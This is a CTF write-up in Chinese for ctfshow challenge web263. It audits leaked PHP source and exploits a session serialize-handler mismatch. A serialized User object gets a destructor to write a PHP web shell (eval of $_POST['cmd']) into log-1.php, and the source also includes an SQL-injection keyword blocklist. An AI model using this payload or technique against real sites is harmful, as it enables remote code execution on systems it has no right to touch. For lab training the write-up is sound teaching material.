前言
怎么会有人到现在还没做明白反序列化啊呜呜呜
从web263开始做,因为前面几题是在很久很久以前做的
Web263(session反序列化)
dirsearch扫描发现存在www.zip
下载并解压,稍微审计一下
index.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:28:37
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
//超过5次禁止登陆
if (isset($_SESSION['limit'])) {
$_SESSION['limti'] > 5 ? die("登陆失败次数超过限制") : $_SESSION['limit'] = base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) + 1);
} else {
setcookie("limit", base64_encode('1'));
$_SESSION['limit'] = 1;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>ctfshow登陆</title>
<link href="css/style.css" rel="stylesheet">
</head>
<body>
<div class="pc-kk-form">
<center>
<h1>CTFshow 登陆</h1>
</center><br><br>
<form action="" onsubmit="return false;">
<div class="pc-kk-form-list">
<input id="u" type="text" placeholder="用户名">
</div>
<div class="pc-kk-form-list">
<input id="pass" type="password" placeholder="密码">
</div>
<div class="pc-kk-form-btn">
<button onclick="check();">登陆</button>
</div>
</form>
</div>
<script type="text/javascript" src="js/jquery.min.js"></script>
<script>
function check() {
$.ajax({
url: 'check.php',
type: 'GET',
data: {
'u': $('#u').val(),
'pass': $('#pass').val()
},
success: function(data) {
alert(JSON.parse(data).msg);
},
error: function(data) {
alert(JSON.parse(data).msg);
}
});
}
</script>
</body>
</html>
可以发现调用了check.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:59:10
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u" => $_GET['u'], "pass" => $_GET['pass']);
if ($GET) {
$data = $db->get(
'admin',
[
'id',
'UserName0'
],
[
"AND" => [
"UserName0[=]" => $GET['u'],
"PassWord1[=]" => $GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]
);
if ($data['id']) {
//登陆成功取消次数累计
$_SESSION['limit'] = 0;
echo json_encode(array("success", "msg" => "欢迎您" . $data['UserName0']));
} else {
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) + 1);
echo json_encode(array("error", "msg" => "登陆失败"));
}
}
包含了inc/inc.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);
// sql注入检查
function checkForm($str)
{
if (!isset($str)) {
return true;
} else {
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i", $str);
}
}
class User
{
public $username;
public $password;
public $status;
function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
function setStatus($s)
{
$this->status = $s;
}
function __destruct()
{
file_put_contents("log-" . $this->username, "使用" . $this->password . "登陆" . ($this->status ? "成功" : "失败") . "----" . date_create()->format('Y-m-d H:i:s'));
}
}
/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/
function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr($chars, 0, 8) . '-'
. substr($chars, 8, 4) . '-'
. substr($chars, 12, 4) . '-'
. substr($chars, 16, 4) . '-'
. substr($chars, 20, 12);
return $uuid;
}
这里包含了CTFSHOW.php,是数据库相关的代码,没啥审的必要(大概
在inc.php的 User 类中发现我们可能利用的函数file_put_contents
function __destruct()
{
file_put_contents("log-" . $this->username, "使用" . $this->password . "登陆" . ($this->status ? "成功" : "失败") . "----" . date_create()->format('Y-m-d H:i:s'));
}
而在这个文件的开头有
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
明显是要我们打session反序列化,不过找了一圈没找到 unserialize,应该是要用session.serialize_handler
之间的差异性打
这里显式的设置了php
这个 handler,猜测php.ini里设置的是php_serialize
找一下获取session的点
// index.php
error_reporting(0);
session_start();
//超过5次禁止登陆
if (isset($_SESSION['limit'])) {
$_SESSION['limti'] > 5 ? die("登陆失败次数超过限制") : $_SESSION['limit'] = base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) + 1);
} else {
setcookie("limit", base64_encode('1'));
$_SESSION['limit'] = 1;
}
// check.php + inc.php
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
if ($data['id']) {
//登陆成功取消次数累计
$_SESSION['limit'] = 0;
echo json_encode(array("success", "msg" => "欢迎您" . $data['UserName0']));
} else {
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) + 1);
echo json_encode(array("error", "msg" => "登陆失败"));
}
接下来先构造序列化字符串,payload:
<?php
class User{
public $username;
public $password;
function __construct(){
$this->username = '1.php';
$this->password = '<?php eval($_POST["cmd"]);?>';
}
}
echo urlencode(base64_encode('|'.serialize(new User())));
?>
在前面加上 |
, 这样的话 session 反序列化的时候 php handler 会默认把 |
前面的内容当做 key, 不会解析, |
后面的才是真正应该反序列化的 value
接下来按顺序分别在index.php和check.php传入(先访问index.php主要是为了让$_SESSION['limit'] = 1
,再访问check.php是因为包含了inc.php能执行对应的类)
访问log-1.php就getshell了